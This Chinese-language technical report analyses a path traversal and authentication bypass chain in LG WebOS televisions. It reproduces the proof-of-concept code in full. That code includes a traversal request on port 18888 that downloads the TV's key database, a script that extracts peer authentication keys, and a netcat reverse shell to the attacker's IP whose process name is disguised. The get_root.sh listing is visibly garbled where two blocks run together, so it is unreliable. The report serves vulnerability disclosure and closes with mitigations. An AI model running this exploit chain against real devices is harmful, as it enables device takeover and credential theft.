
1. 簡介
本報告針對 LG WebOS 電視系統近期揭露的漏洞,提供全面性的技術分析。本報告的重點是理解這些安全缺陷的底層機制,特別是兩個漏洞:一個是 Path traversal,另一個是身分驗證繞過,兩者結合可導致裝置完全被接管。本分析深入探討了入侵過程的技術細節,檢視了所涉及的元件,並闡明這些漏洞如何被串聯攻擊,以危及受影響裝置的完整性和控制權。本報告還包含了對所提供的概念驗證(PoC)程式碼的檢視,以闡明這些漏洞利用的實際層面。這項研究旨在對智慧裝置安全,以及嵌入式系統中強健的輸入驗證和身分驗證機制的重要性,做出更深入的貢獻。

2. 漏洞細節
2.1 Path Traversal 漏洞
LG WebOS 電視系統中發現的主要漏洞是一個Path traversal缺陷。當 USB 儲存裝置連接後,此漏洞會在 browser-service 元件中出現,該元件會開啟 port 18888。這個 port 可透過
/getFile?path=…
API 端點,從特定的目錄(即
/tmp/usb
或
/tmp/home.office.documentviewer
)下載檔案 [1]。
關鍵的缺陷在於應用程式未能充分驗證 API 請求中提供的
path
參數。這種驗證不足使得攻擊者可以操控path,以存取預期目錄之外的任意檔案。透過注入目錄遍歷序列(例如
../
),攻擊者無需任何事先的身分驗證,即可瀏覽檔案系統並從裝置上的任何位置下載敏感檔案。這種未經身分驗證的檔案下載能力,構成了後續攻擊的基礎步驟。
2.2
secondscreen.gateway
服務中的身分驗證繞過
在Path traversal漏洞的基礎上,攻擊者可以利用這個缺陷來實現
secondscreen.gateway
服務的身分驗證繞過。
secondscreen.gateway
服務負責管理與對等裝置的連接和互動。這些對等客戶端的認證keys儲存在位於
/var/db/main/
的資料庫檔案中 [1]。
藉由利用Path traversal漏洞,攻擊者可以下載這個包含認證keys的資料庫檔案。一旦取得這些keys,它們就可以被用來冒充合法的對等裝置,從而繞過
secondscreen.gateway
服務的身分驗證機制。這種繞過授予了對該服務的未經授權存取,而該服務是裝置管理和控制的關鍵元件。
2.3 裝置完全被接管
Path traversal和身分驗證繞過漏洞的結合,最終導致裝置完全被接管的可能性。在未經授權的情況下存取
secondscreen
服務後,攻擊者獲得了執行高權限操作的能力。這些操作包括但不限於啟用開發人員模式、安裝 malicious payload,以及最終取得受影響的 LG WebOS 電視裝置的完整控制權 [1]。安裝任意應用程式的能力意味著攻擊者可以執行具有更高權限的程式碼,有效地將智慧電視變成一個被入侵的平台,進行進一步的惡意攻擊。
3. 入侵技術分析
入侵過程涉及多個階段,從初始的偵察到實現持續性的控制。所提供的概念驗證 (PoC) 程式碼展示了一個複雜的攻擊鏈,利用了所識別的漏洞。本節將剖析用於入侵的 Dockerfile、shell scripts和Python scripts的技術層面。
3.1 Dockerfile 分析
Dockerfile 用於建立一個受控的攻擊環境。它設定了一個 Python 3.8 環境並安裝了必要的dependencies,包括
nginx
和來自
requirements.txt
的 Python packages。Dockerfile 還將 exploit code 複製到 image 中,並將 command 設定為
bash
,允許互動式執行攻擊 scripts。
- FROM python:3.8
- WORKDIR /usr/local/app
- RUN apt-get update
- RUN apt-get install -y nginx
- # Install the application dependencies
- COPY ./src /.
- COPY ./www /var/www/html/
- RUN pip install --no-cache-dir -r ./requirements.txt
- CMD ["bash"]
此 Dockerfile 的關鍵方面是:
-
FROM python:3.8
:建立基礎 image,提供一個 Python 環境。 -
WORKDIR /usr/local/app
:設定 container 內的工作目錄。 -
RUN apt-get install -y nginx
:安裝 Nginx,很可能用於提供 malicious payload或作為攻擊者的 web server。 -
COPY ./src /.
和COPY ./www /var/www/html/
:這些 command 將 exploit source code 和 web assets 複製到 Docker image 中。/var/www/html/
目錄是 web server 內容的標準位置,這表示 Nginx 將被用來託管 exploit 的一部分。 -
RUN pip install --no-cache-dir -r ./requirements.txt
:安裝 exploit scripts 所需的 Python dependencies。
3.2
get_root.sh
script 分析
get_root.sh
script 是建立 Reverse shell 和執行 remote trigger 的關鍵元件。它首先提取一個 remote IP address,然後在目標系統上建立一個 Python script (
remote_trigger.py
),最後執行一個 netcat reverse shell command。
- #!/bin/sh
- # get_root.sh
- remoteip=$1
- cat << 'EOF1' > /tmp/remote_trigger.py
- import socket
- import time
- import struct
- import sys
- import os
- import threading
- import ctypes
- from ctypes.util import find_library
- libc = ctypes.CDLL(find_library('c'))
- def set_proc_name(name):
- libc.prctl(15, ctypes.c_char_p(name), 0, 0, 0)
- proc_name = "blah-blah"
- if len(sys.argv) > 1:
- proc_name = sys.argv[1]
- set_proc_name(proc_name.encode("UTF-8"))
- x = threading.Thread(target=time.sleep, args=(8600,))
- x.start()
- with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
- s.connect("/tmp/remotelogger")
- print("send")
- s.sendall(struct.pack('&1|nc $remoteip 23231 >/tmp/f
- exit 0
- " > /tmp/xdg_e
- chmod +x /tmp/xdg_e
- python3 /tmp/remote_trigger.py '${XDG_DIR_E}'
此 script 執行以下動作:
-
remoteip=$1
:擷取攻擊者的 IP address 作為argument。 -
cat << 'EOF1' > /tmp/remote_trigger.py
:此block將 Python scriptremote_trigger.py
寫入目標裝置的/tmp
目錄。這個 script 目的是與本機 socket 互動,可能是為了觸發一個特定的程序或繞過一些本機安全措施。使用set_proc_name
則表明試圖偽裝該程序。 -
echo "..." > /tmp/xdg_e
:此block建立另一個 shell script,xdg_e
,它設定一個 named-pipe (/tmp/f
),然後使用netcat
建立一個 Reverse shell 連接到攻擊者的機器 ($remoteip
) 的 port 23231。這是取得 remote command execution 的標準技術。 -
chmod +x /tmp/xdg_e
:使 Reverse shell script 可執行。 -
python3 /tmp/remote_trigger.py '${XDG_DIR_E}'
:執行 Python trigger script,可能傳遞一個 environment variable 或 argument 給它。
3.3
remote_trigger.py
script 分析
remote_trigger.py
script 嵌入在
get_root.sh
中,旨在與本機 UNIX socket 互動。其主要目的似乎是程序操作或觸發一個特定的本機服務。
- import socket
- import time
- import struct
- import sys
- import os
- import threading
- import ctypes
- from ctypes.util import find_library
- libc = ctypes.CDLL(find_library('c'))
- def set_proc_name(name):
- libc.prctl(15, ctypes.c_char_p(name), 0, 0, 0)
- proc_name = "blah-blah"
- if len(sys.argv) > 1:
- proc_name = sys.argv[1]
- set_proc_name(proc_name.encode("UTF-8"))
- x = threading.Thread(target=time.sleep, args=(8600,))
- x.start()
- with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
- s.connect("/tmp/remotelogger")
- print("send")
- s.sendall(struct.pack('<L', x.native_id) + b'A'*0x80)
- print("recv")
- data = s.recv(4)
- print("kill")
- os.kill(x.native_id, 0x4)
此 script 的關鍵功能包括:
-
set_proc_name
:此功能使用prctl
來更改程序名稱,這是隱藏 malicious payload 或使其看起來合法的一種常見策略。 - thread creation:建立一個新 thread,它只是簡單地休眠很長一段時間(8600 秒)。這可能是保持讓程序有效或建立一個誘餌的方式。
-
UNIX socket communication:script 連接到位於
/tmp/remotelogger
的 UNIX domain socket。它傳送資料(一個 packed integer 和一些 bytes),然後接收 4 bytes 的資料。最後,它試圖殺死創建的 thread。如果沒有 WebOS 系統的更多環境,這個 socket communication 的確切目的尚不完全清楚,但它很可能與一個可以被操縱的本機服務或daemon互動。
3.4
rootmytv.py
script 分析
rootmytv.py
script 是主要的 exploit orchestrator。它結合了Path traversal漏洞來提取敏感資料,並可能使用身分驗證繞過來獲得進一步的控制權。它利用了多個 Python libraries 進行網路通訊、檔案系統互動和資料庫操作。
- #!/usr/bin/python3
- # rootmytv.py
- from bscpyigtv import WebOSClient
- from bscpyigtv import endpoints as ep
- from aiohttp import web
- import asyncio
- import socket
- import time
- import requests
- import os
- import re
- import json
- import plyvel
- from cursor import LGTVCursor
- # import sqlite3
- from sqlitedict import SqliteDict
- import sys, getopt
- class TV_LG:
- def __init__(self, ip):
- self.ip = ip
- self.tvdb_path = "./tvdb"
- try:
- os.mkdir(self.tvdb_path)
- except FileExistsError:
- pass
- def get_file(self, save_file_path, target_file_path):
- url = "http://{}:18888/getFile?path=/tmp/usb/../../..{}".format(
- self.ip, target_file_path
- )
- print(target_file_path)
- r = requests.get(url)
- if r.status_code == 200:
- with open(save_file_path, "bw+") as f:
- f.write(r.content)
- else:
- # pass
- print("error code {} : {}".format(r.status_code, r.text))
- def get_keys(self):
- results = []
- if 0:
- print("get manifest file")
- self.get_file(self.tvdb_path + "/" + "CURRENT", "/var/db/main/CURRENT")
- manifest = ""
- with open(self.tvdb_path + "/" + "CURRENT", "r") as f:
- manifest = f.read().strip("\r\n")
- self.get_file(
- self.tvdb_path + "/" + manifest, "/var/db/main/{}".format(manifest))
- print("get database file")
- self.get_file(self.tvdb_path + "/" + "LOG", "/var/db/main/LOG")
- self.get_file(self.tvdb_path + "/" + "LOG.old", "/var/db/main/LOG.old")
- dbindex = []
- with open(self.tvdb_path + "/" + "LOG", "r") as f:
- for line in f:
- # print(line)
- matches = re.findall(r"Generated table #(\\d+)", line)
- if len(matches) > 0:
- dbindex = dbindex + matches
- with open(self.tvdb_path + "/" + "LOG.old", "r") as f:
- for line in f:
- # print(line)
- matches = re.findall(r"Generated table #(\\d+)", line)
- if len(matches) > 0:
- dbindex = dbindex + matches
- print(dbindex)
- # db_files = ["/var/db/main/CURRENT", "/var/db/main/MANIFEST-000482", "000501.ldb", "000502.ldb", "000503.ldb", "000504.ldb"]
- db_files = ["000505.ldb"]
- for i in dbindex:
- self.get_file(
- self.tvdb_path + "/" + "0" * (6 - len(str(i))) + ".ldb".format(i),
- "/var/db/main/" + "0" * (6 - len(str(i))) + "{}.ldb".format(i)
- )
- ldb_dir = self.tvdb_path
- db = plyvel.DB(ldb_dir, create_if_missing=False)
- for key, value in db:
- key_str = key.decode("utf-8", errors="ignore")
- val_str = value.decode("utf-8", errors="ignore")
- # print(f"Key(raw): {key}")
- # print(f"Value(raw): {value}\n")
- if "READ_INSTALLED_APPS" in val_str:
- # if True:
- key = re.findall(r"\\b[a-fA-F0-9]{32}\\b", val_str)
- # print(key)
- if key != \'\':
- results.append(key[0])
- return results
- def get_lan_ip():
- try:
- # Create a socket object
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- # Use Google\'s public DNS server to determine the LAN IP
- s.connect(("8.8.8.8", 80))
- # Get the socket\'s own address
- ip = s.getsockname()[0]
- # Close the socket
- s.close()
- print(f"Using {ip} as LAN IP")
- return ip
- except Exception as e:
- print(f"Error: {e}")
- return None
- STOP_SERVER = False
- # HOST_IP = input("Enter your LAN IP address, or press ENTER to autodetect: ") or get_lan_ip()
- HOST_IP = "192.168.1.188"
- TV_IP = "192.168.1.56"
- try:
- opts, args = getopt.getopt(sys.argv[1:], "ht:r:", ["target=", "remoteip="])
- except getopt.GetoptError:
- print("exploit -t <target> -r <remoteip>")
- sys.exit(2)
- for opt, arg in opts:
- if opt == '-h':
- print("exploit -t <target> -r <remoteip>")
- sys.exit()
- elif opt in ("-t", "--targetip"):
- TV_IP = arg
- elif opt in ("-r", "--remoteip"):
- HOST_IP = arg
- def check_telnet():
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(1) # Timeout period in seconds
- end_time = time.time() + 15
- while time.time() < end_time:
- try:
- if sock.connect_ex((TV_IP, 23)) == 0:
- return True
- except socket.error:
- pass
- time.sleep(1) # Wait for 1 second before checking again
- return False
- async def handle_request():
- print("Served 404 response")
- return web.Response(text="OK")
- FILE_DIR = "./www"
- async def handle_download(request):
- filename = request.match_info.get("filename")
- file_path = os.path.join(FILE_DIR, filename)
- print(filename)
- if not os.path.isfile(file_path):
- return web.Response(text="File not found", status=404)
- return web.FileResponse(path=file_path)
- async def main():
- tv = TV_LG(TV_IP)
- keys = tv.get_keys()
- db = SqliteDict("aiopyigtv.sqlite", "unnamed")
- for key in keys:
- print(f"found key: {key}")
- db[key] = ""
- db.commit()
- # if check_telnet():
- # print("Telnet is open, exiting")
- # sys.exit(0)
- # app = web.Application()
- # app.router.add_get("/{filename}", handle_download)
- # app.router.add_get("/", handle_request)
- # runner = web.AppRunner(app)
- # await runner.setup()
- # site = web.TCPSite(runner, HOST_IP, 80)
- # await site.start()
- # print(f"Serving on http://{HOST_IP}:80")
- # while not STOP_SERVER:
- # await asyncio.sleep(1)
- if __name__ == "__main__":
- asyncio.run(main())
TV_LG
class 封裝了與有漏洞的電視互動的核心邏輯。關鍵methods包括:
-
__init__(self, ip)
:使用目標電視的 IP address 初始化 class,並建立一個本機目錄 (./tvdb
) 來儲存下載的資料庫檔案。 -
get_file(self, save_file_path, target_file_path)
:這是最關鍵的method,直接利用Path traversal漏洞。它使用電視的 IP 和 port 18888 建立 URL,並在後面加上Path traversal序列/tmp/usb/../../..
,然後是target_file_path
。這使其能夠請求電視檔案系統上的任何檔案。下載的內容隨後會儲存在本機。 -
get_keys(self)
:這個method協調認證keys的擷取。它試圖使用get_file
method 從/var/db/main/
下載各種資料庫檔案 (LOG
,LOG.old
,以及可能的.ldb
檔案)。然後它解析這些檔案,特別尋找像"READ_INSTALLED_APPS"
和代表認證keys的十六進位字串等pattern。它使用plyvel.DB
來與 LevelDB 資料庫互動,這些資料庫通常用於儲存key-value pairs。提取的keys隨後被回傳。
rootmytv.py
的主要執行 block 會解析 command-line arguments,以取得目標電視的 IP 和攻擊者(remote)的 IP。然後它初始化
TV_LG
class,呼叫
get_keys()
來擷取認證keys,並將它們儲存在
SqliteDict
資料庫中。被註解掉的部分則表明了後續步驟,例如建立 web server 以提供 malicious payload 或檢查 Telnet 存取,這些都將是裝置完全被接管的一部分。
3.5 漏洞鏈示意圖
以下示意圖說明了從初始存取到裝置完全被接管的攻擊鏈:
Connected to TV} B --> C{Browser Service
on Port 18888} C --> D[getFile?path=...
API Endpoint] D -- Path Traversal --> E[Access
/var/db/main/
Database] E --> F[Download
Authentication Keys] F -- Authentication
Bypass --> G[secondscreen.gateway
Service Access] G --> H{Enable
Developer Mode} G --> I{Install
Malicious
Applications} G --> J[Full Device
Takeover]
4. 緩解與預防
為了預防此類漏洞,有幾個安全措施至關重要:
- 輸入驗證: 對所有使用者提供的輸入,特別是path parameters,進行嚴格的驗證是防止Path traversal攻擊的關鍵。這包括清理輸入並確保檔案存取僅限於預期的目錄。
-
身分驗證與授權:
所有敏感服務都應建立強健的身分驗證機制。特別是
secondscreen.gateway
服務,即使keys被入侵,也需要強大的身分驗證來防止未經授權的存取。可以實施多因素身分驗證或更安全的key管理實踐。 - 最小權限原則: 服務應以所需的最低權限來運行。browser service 不應存取其指定範圍之外的關鍵系統檔案或目錄。
- 安全開發生命週期: 在整個軟體開發生命週期 (SDLC) 中實施安全措施,有助於及早識別和修復漏洞。這包括威脅建模、安全測試和程式碼審查。
- 定期更新與修補: 廠商必須及時提供已識別漏洞的安全更新和修補。應鼓勵使用者及時應用這些更新。
- 網路分割: 將智慧電視隔離在一個單獨的網路segment上,可以限制入侵的影響,防止攻擊者輕易地轉移到家用網路上的其他裝置。
5. 結論
在 LG WebOS 電視系統中發現的漏洞,凸顯了保護物聯網和智慧裝置的持續挑戰。Path traversal缺陷和身分驗證繞過的結合,創造了一個關鍵的攻擊向量,可能導致對受影響裝置的完全控制。對 exploit chain 的技術分析,包括 Docker 設定、shell scripts和Python code,展示了這些漏洞被利用的複雜程度。有效的緩解策略包括嚴格的輸入驗證、強大的身分驗證、遵守最小權限原則以及全面的安全開發生命週期。隨著智慧裝置變得越來越普及,持續的警惕和主動的安全措施對於保護使用者隱私和裝置完整性至關重要。